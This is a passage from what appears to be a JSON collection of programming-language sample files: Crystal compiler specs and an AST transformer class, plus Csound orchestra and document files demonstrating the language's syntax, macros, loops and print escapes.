eq(1)\n  end\n\n  it \"define a constant in lib\" do\n    run(\"lib Foo; A = 1; end; Foo::A\").to_i.should eq(1)\n  end\n\n  it \"invokes block in const\" do\n    run(\"require \\\"prelude\\\"; A = [\\\"1\\\"].map { |x| x.to_i }; A[0]\").to_i.should eq(1)\n  end\n\n  it \"declare constants in right order\" do\n    run(\"A = 1 + 1; B = true ? A : 0; B\").to_i.should eq(2)\n  end\n\n  it \"uses correct types lookup\" do\n    run(\"\n      module A\n        class B\n          def foo\n            1\n          end\n        end\n\n        C = B.new;\n      end\n\n      def foo\n        A::C.foo\n      end\n\n      foo\n      \").to_i.should eq(1)\n  end\n\n  it \"codegens variable assignment in const\" do\n    run(\"\n      class Foo\n        def initialize(@x)\n        end\n\n        def x\n          @x\n        end\n      end\n\n      A = begin\n            f = Foo.new(1)\n            f\n          end\n\n      def foo\n        A.x\n      end\n\n      foo\n      \").to_i.should eq(1)\n  end\n\n  it \"declaring var\" do\n    run(\"\n      BAR = begin\n        a = 1\n        while 1 == 2\n          b = 2\n        end\n        a\n      end\n      class Foo\n        def compile\n          BAR\n        end\n      end\n\n      Foo.new.compile\n      \").to_i.should eq(1)\n  end\n\n  it \"initialize const that might raise an exception\" do\n    run(\"\n      require \\\"prelude\\\"\n      CONST = (raise \\\"OH NO\\\" if 1 == 2)\n\n      def doit\n        CONST\n      rescue\n      end\n\n      doit.nil?\n    \").to_b.should be_true\n  end\nend\n"
  },
  {
    "path": "samples/Crystal/declare_var_spec.cr",
    "content": "#!/usr/bin/env bin/crystal --run\nrequire \"../../spec_helper\"\n\ndescribe \"Type inference: declare var\" do\n  it \"types declare var\" do\n    assert_type(\"a :: Int32\") { int32 }\n  end\n\n  it \"types declare var and reads it\" do\n    assert_type(\"a :: Int32; a\") { int32 }\n  end\n\n  it \"types declare var and changes its type\" do\n    assert_type(\"a :: Int32; while 1 == 2; a = 'a'; end; a\") { union_of(int32, char) }\n  end\n\n  it \"declares instance var which appears in initialize\" do\n    result = assert_type(\"\n      class Foo\n        @x :: Int32\n      end\n\n      Foo.new\") { types[\"Foo\"] }\n\n    mod = result.program\n\n    foo = mod.types[\"Foo\"] as NonGenericClassType\n    foo.instance_vars[\"@x\"].type.should eq(mod.int32)\n  end\n\n  it \"declares instance var of generic class\" do\n    result = assert_type(\"\n      class Foo(T)\n        @x :: T\n      end\n\n      Foo(Int32).new\") do\n        foo = types[\"Foo\"] as GenericClassType\n        foo_i32 = foo.instantiate([int32] of Type | ASTNode)\n        foo_i32.lookup_instance_var(\"@x\").type.should eq(int32)\n        foo_i32\n    end\n  end\n\n  it \"declares instance var of generic class after reopen\" do\n    result = assert_type(\"\n      class Foo(T)\n      end\n\n      f = Foo(Int32).new\n\n      class Foo(T)\n        @x :: T\n      end\n\n      f\") do\n        foo = types[\"Foo\"] as GenericClassType\n        foo_i32 = foo.instantiate([int32] of Type | ASTNode)\n        foo_i32.lookup_instance_var(\"@x\").type.should eq(int32)\n        foo_i32\n    end\n  end\n\n  it \"declares an instance variable in initialize\" do\n    assert_type(\"\n      class Foo\n        def initialize\n          @x :: Int32\n        end\n\n        def x\n          @x\n        end\n      end\n\n      Foo.new.x\n      \") { int32 }\n  end\nend\n"
  },
  {
    "path": "samples/Crystal/transformer.cr",
    "content": "module Crystal\n  class ASTNode\n    def transform(transformer)\n      transformer.before_transform self\n      node = transformer.transform self\n      transformer.after_transform self\n      node\n    end\n  end\n\n  class Transformer\n    def before_transform(node)\n    end\n\n    def after_transform(node)\n    end\n\n    def transform(node : Expressions)\n      exps = [] of ASTNode\n      node.expressions.each do |exp|\n        new_exp = exp.transform(self)\n        if new_exp\n          if new_exp.is_a?(Expressions)\n            exps.concat new_exp.expressions\n          else\n            exps << new_exp\n          end\n        end\n      end\n\n      if exps.length == 1\n        exps[0]\n      else\n        node.expressions = exps\n        node\n      end\n    end\n\n    def transform(node : Call)\n      if node_obj = node.obj\n        node.obj = node_obj.transform(self)\n      end\n      transform_many node.args\n\n      if node_block = node.block\n        node.block = node_block.transform(self)\n      end\n\n      if node_block_arg = node.block_arg\n        node.block_arg = node_block_arg.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : And)\n      node.left = node.left.transform(self)\n      node.right = node.right.transform(self)\n      node\n    end\n\n    def transform(node : Or)\n      node.left = node.left.transform(self)\n      node.right = node.right.transform(self)\n      node\n    end\n\n    def transform(node : StringInterpolation)\n      transform_many node.expressions\n      node\n    end\n\n    def transform(node : ArrayLiteral)\n      transform_many node.elements\n\n      if node_of = node.of\n        node.of = node_of.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : HashLiteral)\n      transform_many node.keys\n      transform_many node.values\n\n      if of_key = node.of_key\n        node.of_key = of_key.transform(self)\n      end\n\n      if of_value = node.of_value\n        node.of_value = of_value.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : If)\n      node.cond = node.cond.transform(self)\n      node.then = node.then.transform(self)\n      node.else = node.else.transform(self)\n      node\n    end\n\n    def transform(node : Unless)\n      node.cond = node.cond.transform(self)\n      node.then = node.then.transform(self)\n      node.else = node.else.transform(self)\n      node\n    end\n\n    def transform(node : IfDef)\n      node.cond = node.cond.transform(self)\n      node.then = node.then.transform(self)\n      node.else = node.else.transform(self)\n      node\n    end\n\n    def transform(node : MultiAssign)\n      transform_many node.targets\n      transform_many node.values\n      node\n    end\n\n    def transform(node : SimpleOr)\n      node.left = node.left.transform(self)\n      node.right = node.right.transform(self)\n      node\n    end\n\n    def transform(node : Def)\n      transform_many node.args\n      node.body = node.body.transform(self)\n\n      if receiver = node.receiver\n        node.receiver = receiver.transform(self)\n      end\n\n      if block_arg = node.block_arg\n        node.block_arg = block_arg.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : Macro)\n      transform_many node.args\n      node.body = node.body.transform(self)\n\n      if receiver = node.receiver\n        node.receiver = receiver.transform(self)\n      end\n\n      if block_arg = node.block_arg\n        node.block_arg = block_arg.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : PointerOf)\n      node.exp = node.exp.transform(self)\n      node\n    end\n\n    def transform(node : SizeOf)\n      node.exp = node.exp.transform(self)\n      node\n    end\n\n    def transform(node : InstanceSizeOf)\n      node.exp = node.exp.transform(self)\n      node\n    end\n\n    def transform(node : IsA)\n      node.obj = node.obj.transform(self)\n      node.const = node.const.transform(self)\n      node\n    end\n\n    def transform(node : RespondsTo)\n      node.obj = node.obj.transform(self)\n      node\n    end\n\n    def transform(node : Case)\n      node.cond = node.cond.transform(self)\n      transform_many node.whens\n\n      if node_else = node.else\n        node.else = node_else.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : When)\n      transform_many node.conds\n      node.body = node.body.transform(self)\n      node\n    end\n\n    def transform(node : ImplicitObj)\n      node\n    end\n\n    def transform(node : ClassDef)\n      node.body = node.body.transform(self)\n\n      if superclass = node.superclass\n        node.superclass = superclass.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : ModuleDef)\n      node.body = node.body.transform(self)\n      node\n    end\n\n    def transform(node : While)\n      node.cond = node.cond.transform(self)\n      node.body = node.body.transform(self)\n      node\n    end\n\n    def transform(node : Generic)\n      node.name = node.name.transform(self)\n      transform_many node.type_vars\n      node\n    end\n\n    def transform(node : ExceptionHandler)\n      node.body = node.body.transform(self)\n      transform_many node.rescues\n\n      if node_ensure = node.ensure\n        node.ensure = node_ensure.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : Rescue)\n      node.body = node.body.transform(self)\n      transform_many node.types\n      node\n    end\n\n    def transform(node : Union)\n      transform_many node.types\n      node\n    end\n\n    def transform(node : Hierarchy)\n      node.name = node.name.transform(self)\n      node\n    end\n\n    def transform(node : Metaclass)\n      node.name = node.name.transform(self)\n      node\n    end\n\n    def transform(node : Arg)\n      if default_value = node.default_value\n        node.default_value = default_value.transform(self)\n      end\n\n      if restriction = node.restriction\n        node.restriction = restriction.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : BlockArg)\n      node.fun = node.fun.transform(self)\n      node\n    end\n\n    def transform(node : Fun)\n      transform_many node.inputs\n\n      if output = node.output\n        node.output = output.transform(self)\n      end\n\n      node\n    end\n\n    def transform(node : Block)\n      node.args.map! { |exp| exp.transform(self) as Var }\n      node.body = node.body.transform(self)\n      node\n    end\n\n    def transform(node : FunLiteral)\n      node.def.body = node.def.body.transform(self)\n      node\n    end\n\n    def transform(node : FunPointer)\n      if obj = node.obj\n        node.obj = obj.transform(self)\n      end\n      node\n    end\n\n    def transform(node : Return)\n      transform_many node.exps\n      node\n    end\n\n    def transform(node : Break)\n      transform_many node.exps\n      node\n    end\n\n    def transform(node : Next)\n      transform_many node.exps\n      node\n    end\n\n    def transform(node : Yield)\n      if scope = node.scope\n        node.scope = scope.transform(self)\n      end\n      transform_many node.exps\n      node\n    end\n\n    def transform(node : Include)\n      node.name = node.name.transform(self)\n      node\n    end\n\n    def transform(node : Extend)\n      node.name = node.name.transform(self)\n      node\n    end\n\n    def transform(node : RangeLiteral)\n      node.from = node.from.transform(self)\n      node.to = node.to.transform(self)\n      node\n    end\n\n    def transform(node : Assign)\n      node.target = node.target.transform(self)\n      node.value = node.value.transform(self)\n      node\n    end\n\n    def transform(node : Nop)\n      node\n    end\n\n    def transform(node : NilLiteral)\n      node\n    end\n\n    def transform(node : BoolLiteral)\n      node\n    end\n\n    def transform(node : NumberLiteral)\n      node\n    end\n\n    def transform(node : CharLiteral)\n      node\n    end\n\n    def transform(node : StringLiteral)\n      node\n    end\n\n    def transform(node : SymbolLiteral)\n      node\n    end\n\n    def transform(node : RegexLiteral)\n      node\n    end\n\n    def transform(node : Var)\n      node\n    end\n\n    def transform(node : MetaVar)\n      node\n    end\n\n    def transform(node : InstanceVar)\n      node\n    end\n\n    def transform(node : ClassVar)\n      node\n    end\n\n    def transform(node : Global)\n      node\n    end\n\n    def transform(node : Require)\n      node\n    end\n\n    def transform(node : Path)\n      node\n    end\n\n    def transform(node : Self)\n      node\n    end\n\n    def transform(node : LibDef)\n      node.body = node.body.transform(self)\n      node\n    end\n\n    def transform(node : FunDef)\n      if body = node.body\n        node.body = body.transform(self)\n      end\n      node\n    end\n\n    def transform(node : TypeDef)\n      node\n    end\n\n    def transform(node : StructDef)\n      node\n    end\n\n    def transform(node : UnionDef)\n      node\n    end\n\n    def transform(node : EnumDef)\n      node\n    end\n\n    def transform(node : ExternalVar)\n      node\n    end\n\n    def transform(node : IndirectRead)\n      node.obj = node.obj.transform(self)\n      node\n    end\n\n    def transform(node : IndirectWrite)\n      node.obj = node.obj.transform(self)\n      node.value = node.value.transform(self)\n      node\n    end\n\n    def transform(node : TypeOf)\n      transform_many node.expressions\n      node\n    end\n\n    def transform(node : Primitive)\n      node\n    end\n\n    def transform(node : Not)\n      node\n    end\n\n    def transform(node : TypeFilteredNode)\n      node\n    end\n\n    def transform(node : TupleLiteral)\n      transform_many node.exps\n      node\n    end\n\n    def transform(node : Cast)\n      node.obj = node.obj.transform(self)\n      node.to = node.to.transform(self)\n      node\n    end\n\n    def transform(node : DeclareVar)\n      node.var = node.var.transform(self)\n      node.declared_type = node.declared_type.transform(self)\n      node\n    end\n\n    def transform(node : Alias)\n      node.value = node.value.transform(self)\n      node\n    end\n\n    def transform(node : TupleIndexer)\n      node\n    end\n\n    def transform(node : Attribute)\n      node\n    end\n\n    def transform_many(exps)\n      exps.map! { |exp| exp.transform(self) } if exps\n    end\n  end\nend\n"
  },
  {
    "path": "samples/Csound/allglass.orc",
    "content": "sr     = 44100\nkr     = 44100\nksmps  = 1\nnchnls = 2\n\n; pvanal -n 512 -w 8 allglass1-L.wav allglass1-L.pvc\n; pvanal -n 512 -w 8 allglass1-R.wav allglass1-R.pvc\ninstr 1\n  ktime line 0, p3, 17.5018\n  arL pvoc ktime, 1, \"allglass1-L.pvc\"\n  arR pvoc ktime, 1, \"allglass1-R.pvc\"\n  out arL, arR\nendin\n"
  },
  {
    "path": "samples/Csound/interp.orc",
    "content": "sr     = 44100\nkr     = 44100\nksmps  = 1\nnchnls = 2\n\n; pvanal -n 1024 -w 2 partA-L.wav partA-L.pvc\n; pvanal -n 1024 -w 2 partA-R.wav partA-R.pvc\n; pvanal -n 1024 -w 2 partB.wav partB.pvc\ninstr 1\n  iscale = 1\n\n  ktimpnt1     line 0, iscale*(82196/44100), 82196/44100\n  ktimpnt2     linseg 0, iscale*1.25, 0, iscale*(103518/44100), 103518/44100\n  kfreqscale   linseg 1, iscale*0.5, 1, iscale*1.6, 0.8\n  kfreqinterpL linseg 0, iscale*0.25, 0, iscale*1.6, 1\n  kampinterpL  linseg 0, iscale*0.25, 0, iscale*1.6, 1\n  kfreqinterpR linseg 0, iscale*0.5, 0, iscale*1.2, 1\n  kampinterpR  linseg 0, iscale*0.5, 0, iscale*1.2, 1\n\n        pvbufread ktimpnt1, \"partB.pvc\"\n  apvcL pvinterp ktimpnt2, 1, \"partA-L.pvc\", kfreqscale, 1, 1, 1, 1-kfreqinterpL, 1-kampinterpL\n        pvbufread ktimpnt1, \"partB.pvc\"\n  apvcR pvinterp ktimpnt2, 1, \"partA-R.pvc\", kfreqscale, 1, 1, 1, 1-kfreqinterpR, 1-kampinterpR\n\n  outs apvcL*0.8, apvcR*0.8\nendin\n"
  },
  {
    "path": "samples/Csound/test.orc",
    "content": "// Csound single-line comments can be preceded by a pair of forward slashes...\n; ...or a semicolon.\n\n/* Block comments begin with /* and end with */\n\n// Orchestras begin with a header of audio parameters.\nnchnls = 1\nnchnls_i = 1\nsr = 44100\n0dbfs = 1\nksmps = 10\n\n// The control rate kr = sr / ksmps can be omitted when the number of audio\n// samples in a control period (ksmps) is set, but kr may appear in older\n// orchestras.\nkr = 4410\n\n// Orchestras contain instruments. These begin with the keyword instr followed\n// by a comma-separated list of numbers or names of the instrument. Instruments\n// end at the endin keyword and cannot be nested.\ninstr 1, N_a_M_e_, +Name\n  // Instruments contain statements. Here is a typical statement:\n  aSignal oscil 0dbfs, 440, 1\n  // Statements are terminated with a newline (possibly preceded by a comment).\n  // To write a statement on several lines, precede the newline with a\n  // backslash.\n  prints \\\n    \"hello, world\\n\";comment\n\n  // Csound 6 introduced function syntax for opcodes with one or zero outputs.\n  // The oscil statement above is the same as\n  aSignal = oscil(0dbfs, 440, 1)\n\n  // Instruments can contain control structures.\n  kNote = p3\n  if (kNote == 0) then\n    kFrequency = 220\n  elseif kNote == 1 then // Parentheses around binary expressions are optional.\n    kFrequency = 440\n  endif\n\n  // Csound 6 introduced looping structures.\n  iIndex = 0\n  while iIndex < 5 do\n    print iIndex\n    iIndex += 1\n  od\n  iIndex = 0\n  until iIndex >= 5 do\n    print iIndex\n    iIndex += 1\n  enduntil\n  // Both kinds of loops can be terminated by either od or enduntil.\n\n  // Single-line strings are enclosed in double-quotes.\n  prints \"string\\\\\\r\\n\\t\\\"\"\n  // Multi-line strings are enclosed in pairs of curly braces.\n  prints {{\n    hello,\n\n    world\n  }}\n\n  // Instruments often end with a statement containing an output opcode.\n  outc aSignal\nendin\n\n// Orchestras can also contain user-defined opcodes (UDOs). Here is an\n// oscillator with one audio-rate output and two control-rate inputs:\nopcode anOscillator, a, kk\n  kAmplitude, kFrequency xin\n  aSignal vco2 kAmplitude, kFrequency\n  xout aSignal\nendop\ninstr TestOscillator\n  outc(anOscillator(0dbfs, 110))\nendin\n\n// Python can be executed in Csound\n// <https://csound.github.io/docs/manual/pyrun.html>. So can Lua\n// <https://csound.github.io/docs/manual/lua.html>.\npyruni {{\nimport random\n\npool = [(1 + i / 10.0) ** 1.2 for i in range(100)]\n\ndef get_number_from_pool(n, p):\n  if random.random() < p:\n    i = int(random.random() * len(pool))\n    pool[i] = n;\n  return random.choice(pool)\n}}\n\n// The Csound preprocessor supports conditional compilation and including files.\n#ifdef DEBUG\n#undef DEBUG\n#include \"filename.orc\"\n#endif\n\n// The preprocessor also supports object- and function-like macros. This is an\n// object-like macro that defines a number:\n#define A_HZ #440#\n\n// This is a function-like macro:\n#define OSCIL_MACRO(VOLUME'FREQUENCY'TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n\n// Bodies of macros are enclosed in # and can contain newlines. The arguments of\n// function-like macros are separated by single-quotes. Uses of macros are\n// prefixed with a dollar sign.\ninstr TestMacro\n  aSignal $OSCIL_MACRO(1'$A_HZ'1)\n  // Not unlike PHP, macros expand in double-quoted strings.\n  prints \"The frequency of the oscillator is $A_HZ Hz.\\n\"\n  out aSignal\nendin\n\n// Here are other things to note about Csound.\n\n// There are two bitwise NOT operators, ~ and ¬ (U+00AC). The latter is common\n// on keyboards in the United Kingdom\n// <https://en.wikipedia.org/wiki/British_and_American_keyboards>.\ninstr TestBitwiseNOT\n  print ~42\n  print ¬42\nendin\n\n// Csound uses # for bitwise XOR, which the Csound manual calls bitwise\n// non-equivalence <https://csound.github.io/docs/manual/opnonequiv.html>.\ninstr TestBitwiseXOR\n  print 0 # 0\n  print 0 # 1\n  print 1 # 0\n  print 1 # 1\nendin\n\n// Loops and if-then statements are relatively recent additions to Csound. There\n// are many flow-control opcodes that involve goto and labels.\ninstr TestGoto\n  // This...\n  if p3 > 0 goto if_label\n  goto else_label\nif_label:\n  prints \"if branch\\n\"\n  goto endif_label\nelse_label:\n  prints \"else branch\\n\"\nendif_label:\n\n  // ...is the same as this.\n  if p3 > 0 then\n    prints \"if branch\\n\"\n  else\n    prints \"else branch\\n\"\n  endif\n\n  // This...\n  iIndex = 0\nloop_label:\n  print iIndex\n  iIndex += 1\n  if iIndex < 10 goto loop_label\n\n  // ...is the same as this...\n  iIndex = 0\nloop_lt_label:\n  print iIndex\n  loop_lt iIndex, 1, 10, loop_lt_label\n\n  // ...and this.\n  iIndex = 0\n  while iIndex < 10 do\n    print iIndex\n    iIndex += 1\n  od\nendin\n\n// The prints and printks opcodes\n// <https://github.com/csound/csound/blob/develop/OOps/ugrw1.c#L831>, arguably\n// the primary methods of logging output, treat certain sequences of characters\n// different from printf in C.\ninstr TestPrints\n  // ^ prints an ESCAPE character (U+001B), not a CIRCUMFLEX ACCENT character\n  // (U+005E). ^^ prints a CIRCUMFLEX ACCENT.\n  prints \"^^\\n\"\n  // ~ prints an ESCAPE character (U+001B) followed by a [, not a TILDE\n  // character (U+007E). ~~ prints a TILDE.\n  prints \"~~\\n\"\n  // \\A, \\B, \\N, \\R, and \\T correspond to the escaped lowercase characters (that\n  // is, BELL (U+0007), BACKSPACE (U+0008), new line (U+000A), CARRIAGE RETURN\n  // (U+000D), and tab (U+0009)).\n  prints \"\\T\\R\\N\"\n  // %n, %r, and %t are the same as \\n, \\r, and \\t, as are %N, %R, and %T.\n  prints \"%t%r%n\"\n  // %! prints a semicolon. This is a hold-over from old versions of Csound that\n  // allowed comments to begin in strings.\n  prints \"; %!\\n\"\nendin\n\n// The arguments of function-like macros can be separated by # instead of '.\n// These two lines define the same macro.\n#define OSCIL_MACRO(VOLUME'FREQUENCY'TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n#define OSCIL_MACRO(VOLUME#FREQUENCY#TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n\n// Uses of macros can optionally be suffixed with a period.\ninstr TestMacroPeriodSuffix\n  aSignal $OSCIL_MACRO.(1'$A_HZ'1)\n  prints \"The frequency of the oscillator is $A_HZ.Hz.\\n\"\n  out aSignal\nendin\n\n// Csound has @ and @@ operator-like macros that, when followed by a literal\n// non-negative integer, expand to the next power of 2 and the next power of 2\n// plus 1:\n//    @x = 2^(ceil(log2(x + 1))), x >= 0\n//   @@0 = 2\n//   @@x = 2^(ceil(log2(x))) + 1, x > 0\ninstr TestAt\n  prints \"%d  %2d  %2d\\n\", 0, @0, @@0\n  prints \"%d  %2d  %2d\\n\", 1, @1, @@1\n  prints \"%d  %2d  %2d\\n\", 2, @2, @@2\n  prints \"%d  %2d  %2d\\n\", 3, @3, @@3\n  prints \"%d  %2d  %2d\\n\", 4, @4, @@4\n  prints \"%d  %2d  %2d\\n\", 5, @5, @@5\n  prints \"%d  %2d  %2d\\n\", 6, @6, @@6\n  prints \"%d  %2d  %2d\\n\", 7, @7, @@7\n  prints \"%d  %2d  %2d\\n\", 8, @8, @@8\n  prints \"%d  %2d  %2d\\n\", 9, @9, @@9\nendin\n\n// Including newlines in macros can lead to confusing code.\ninstr MacroAbuse\n  if 1 == 1 then\n    prints \"on\\n\"\n#define FOO#\nBAR\n#endif // This ends the if block. It is not a preprocessor directive.\nendin\n\nscoreline_i {{\nf 1 0 16384 10 1\ni \"N_a_M_e_\" 0 2\ni \"TestOscillator\" 2 2\ni \"TestBitwiseNOT\" 0 1\ni \"TestBitwiseXOR\" 0 1\ni \"TestGoto\" 0 1\ni \"TestMacroPeriodSuffix\" 4 1\ni \"TestAt\" 0 1\ni \"MacroAbuse\" 0 1\ne\n}}\n"
  },
  {
    "path": "samples/Csound Document/allglass.csd",
    "content": "<CsoundSynthesizer>\n<CsInstruments>\nsr     = 44100\nkr     = 44100\nksmps  = 1\nnchnls = 2\n\n; pvanal -n 512 -w 8 allglass1-L.wav allglass1-L.pvc\n; pvanal -n 512 -w 8 allglass1-R.wav allglass1-R.pvc\ninstr 1\n  ktime line 0, p3, 17.5018\n  arL pvoc ktime, 1, \"allglass1-L.pvc\"\n  arR pvoc ktime, 1, \"allglass1-R.pvc\"\n  out arL, arR\nendin\n</CsInstruments>\n<CsScore>\ni 1 0 70.0073\ne\n</CsScore>\n</CsoundSynthesizer>\n"
  },
  {
    "path": "samples/Csound Document/interp.csd",
    "content": "<CsoundSynthesizer>\n<CsInstruments>\nsr     = 44100\nkr     = 44100\nksmps  = 1\nnchnls = 2\n\n; pvanal -n 1024 -w 2 partA-L.wav partA-L.pvc\n; pvanal -n 1024 -w 2 partA-R.wav partA-R.pvc\n; pvanal -n 1024 -w 2 partB.wav partB.pvc\ninstr 1\n  iscale = 1\n\n  ktimpnt1     line 0, iscale*(82196/44100), 82196/44100\n  ktimpnt2     linseg 0, iscale*1.25, 0, iscale*(103518/44100), 103518/44100\n  kfreqscale   linseg 1, iscale*0.5, 1, iscale*1.6, 0.8\n  kfreqinterpL linseg 0, iscale*0.25, 0, iscale*1.6, 1\n  kampinterpL  linseg 0, iscale*0.25, 0, iscale*1.6, 1\n  kfreqinterpR linseg 0, iscale*0.5, 0, iscale*1.2, 1\n  kampinterpR  linseg 0, iscale*0.5, 0, iscale*1.2, 1\n\n        pvbufread ktimpnt1, \"partB.pvc\"\n  apvcL pvinterp ktimpnt2, 1, \"partA-L.pvc\", kfreqscale, 1, 1, 1, 1-kfreqinterpL, 1-kampinterpL\n        pvbufread ktimpnt1, \"partB.pvc\"\n  apvcR pvinterp ktimpnt2, 1, \"partA-R.pvc\", kfreqscale, 1, 1, 1, 1-kfreqinterpR, 1-kampinterpR\n\n  outs apvcL*0.8, apvcR*0.8\nendin\n</CsInstruments>\n<CsScore>\ni 1 0 7\ne\n</CsScore>\n</CsoundSynthesizer>\n"
  },
  {
    "path": "samples/Csound Document/test.csd",
    "content": "<CsoundSynthesizer>\n<CsInstruments>\n// Csound single-line comments can be preceded by a pair of forward slashes...\n; ...or a semicolon.\n\n/* Block comments begin with /* and end with */\n\n// Orchestras begin with a header of audio parameters.\nnchnls = 1\nnchnls_i = 1\nsr = 44100\n0dbfs = 1\nksmps = 10\n\n// The control rate kr = sr / ksmps can be omitted when the number of audio\n// samples in a control period (ksmps) is set, but kr may appear in older\n// orchestras.\nkr = 4410\n\n// Orchestras contain instruments. These begin with the keyword instr followed\n// by a comma-separated list of numbers or names of the instrument. Instruments\n// end at the endin keyword and cannot be nested.\ninstr 1, N_a_M_e_, +Name\n  // Instruments contain statements. Here is a typical statement:\n  aSignal oscil 0dbfs, 440, 1\n  // Statements are terminated with a newline (possibly preceded by a comment).\n  // To write a statement on several lines, precede the newline with a\n  // backslash.\n  prints \\\n    \"hello, world\\n\";comment\n\n  // Csound 6 introduced function syntax for opcodes with one or zero outputs.\n  // The oscil statement above is the same as\n  aSignal = oscil(0dbfs, 440, 1)\n\n  // Instruments can contain control structures.\n  kNote = p3\n  if (kNote == 0) then\n    kFrequency = 220\n  elseif kNote == 1 then // Parentheses around binary expressions are optional.\n    kFrequency = 440\n  endif\n\n  // Csound 6 introduced looping structures.\n  iIndex = 0\n  while iIndex < 5 do\n    print iIndex\n    iIndex += 1\n  od\n  iIndex = 0\n  until iIndex >= 5 do\n    print iIndex\n    iIndex += 1\n  enduntil\n  // Both kinds of loops can be terminated by either od or enduntil.\n\n  // Single-line strings are enclosed in double-quotes.\n  prints \"string\\\\\\r\\n\\t\\\"\"\n  // Multi-line strings are enclosed in pairs of curly braces.\n  prints {{\n    hello,\n\n    world\n  }}\n\n  // Instruments often end with a statement containing an output opcode.\n  outc aSignal\nendin\n\n// Orchestras can also contain user-defined opcodes (UDOs). Here is an\n// oscillator with one audio-rate output and two control-rate inputs:\nopcode anOscillator, a, kk\n  kAmplitude, kFrequency xin\n  aSignal vco2 kAmplitude, kFrequency\n  xout aSignal\nendop\ninstr TestOscillator\n  outc(anOscillator(0dbfs, 110))\nendin\n\n// Python can be executed in Csound\n// <https://csound.github.io/docs/manual/pyrun.html>. So can Lua\n// <https://csound.github.io/docs/manual/lua.html>.\npyruni {{\nimport random\n\npool = [(1 + i / 10.0) ** 1.2 for i in range(100)]\n\ndef get_number_from_pool(n, p):\n  if random.random() < p:\n    i = int(random.random() * len(pool))\n    pool[i] = n;\n  return random.choice(pool)\n}}\n\n// The Csound preprocessor supports conditional compilation and including files.\n#ifdef DEBUG\n#undef DEBUG\n#include \"filename.orc\"\n#endif\n\n// The preprocessor also supports object- and function-like macros. This is an\n// object-like macro that defines a number:\n#define A_HZ #440#\n\n// This is a function-like macro:\n#define OSCIL_MACRO(VOLUME'FREQUENCY'TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n\n// Bodies of macros are enclosed in # and can contain newlines. The arguments of\n// function-like macros are separated by single-quotes. Uses of macros are\n// prefixed with a dollar sign.\ninstr TestMacro\n  aSignal $OSCIL_MACRO(1'$A_HZ'1)\n  // Not unlike PHP, macros expand in double-quoted strings.\n  prints \"The frequency of the oscillator is $A_HZ Hz.\\n\"\n  out aSignal\nendin\n\n// Here are other things to note about Csound.\n\n// There are two bitwise NOT operators, ~ and ¬ (U+00AC). The latter is common\n// on keyboards in the United Kingdom\n// <https://en.wikipedia.org/wiki/British_and_American_keyboards>.\ninstr TestBitwiseNOT\n  print ~42\n  print ¬42\nendin\n\n// Csound uses # for bitwise XOR, which the Csound manual calls bitwise\n// non-equivalence <https://csound.github.io/docs/manual/opnonequiv.html>.\ninstr TestBitwiseXOR\n  print 0 # 0\n  print 0 # 1\n  print 1 # 0\n  print 1 # 1\nendin\n\n// Loops and if-then statements are relatively recent additions to Csound. There\n// are many flow-control opcodes that involve goto and labels.\ninstr TestGoto\n  // This...\n  if p3 > 0 goto if_label\n  goto else_label\nif_label:\n  prints \"if branch\\n\"\n  goto endif_label\nelse_label:\n  prints \"else branch\\n\"\nendif_label:\n\n  // ...is the same as this.\n  if p3 > 0 then\n    prints \"if branch\\n\"\n  else\n    prints \"else branch\\n\"\n  endif\n\n  // This...\n  iIndex = 0\nloop_label:\n  print iIndex\n  iIndex += 1\n  if iIndex < 10 goto loop_label\n\n  // ...is the same as this...\n  iIndex = 0\nloop_lt_label:\n  print iIndex\n  loop_lt iIndex, 1, 10, loop_lt_label\n\n  // ...and this.\n  iIndex = 0\n  while iIndex < 10 do\n    print iIndex\n    iIndex += 1\n  od\nendin\n\n// The prints and printks opcodes\n// <https://github.com/csound/csound/blob/develop/OOps/ugrw1.c#L831>, arguably\n// the primary methods of logging output, treat certain sequences of characters\n// different from printf in C.\ninstr TestPrints\n  // ^ prints an ESCAPE character (U+001B), not a CIRCUMFLEX ACCENT character\n  // (U+005E). ^^ prints a CIRCUMFLEX ACCENT.\n  prints \"^^\\n\"\n  // ~ prints an ESCAPE character (U+001B) followed by a [, not a TILDE\n  // character (U+007E). ~~ prints a TILDE.\n  prints \"~~\\n\"\n  // \\A, \\B, \\N, \\R, and \\T correspond to the escaped lowercase characters (that\n  // is, BELL (U+0007), BACKSPACE (U+0008), new line (U+000A), CARRIAGE RETURN\n  // (U+000D), and tab (U+0009)).\n  prints \"\\T\\R\\N\"\n  // %n, %r, and %t are the same as \\n, \\r, and \\t, as are %N, %R, and %T.\n  prints \"%t%r%n\"\n  // %! prints a semicolon. This is a hold-over from old versions of Csound that\n  // allowed comments to begin in strings.\n  prints \"; %!\\n\"\nendin\n\n// The arguments of function-like macros can be separated by # instead of '.\n// These two lines define the same macro.\n#define OSCIL_MACRO(VOLUME'FREQUENCY'TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n#define OSCIL_MACRO(VOLUME#FREQUENCY#TABLE) #oscil $VOLUME, $FREQUENCY, $TABLE#\n\n// Uses of macros can optionally be suffixed with a period.\ninstr TestMacroPeriodSuffix\n  aSignal $OSCIL_MACRO.(1'$A_HZ'1)\n  prints \"The frequency of the oscillator is $A_HZ.Hz.\\n\"\n  out aSignal\nendin\n\n// Csound has @ and @@ operator-like macros that, when followed by a literal\n// non-negative integer, expand to the next power of 2 and the next power of 2\n// plus 1:\n//    @x = 2^(ceil(log2(x + 1))), x >= 0\n//   @@0 = 2\n//   @@x = 2^(ceil(log2(x))) + 1, x > 0\ninstr TestAt\n  prints \"%d  %2d  %2d\\n\", 0, @0, @@0\n  prints \"%d  %2d  %2d\\n\", 1, @1, @@1\n  prints \"%d  %2d  %2d\\n\", 2, @2, @@2\n  prints \"%d  %2d  %2d\\n\", 3, @3, @@3\n  prints \"%d  %2d  %2d\\n\", 4, @4, @@4\n  prints \"%d  %2d  %2d\\n\", 5, @5, @@5\n  prints 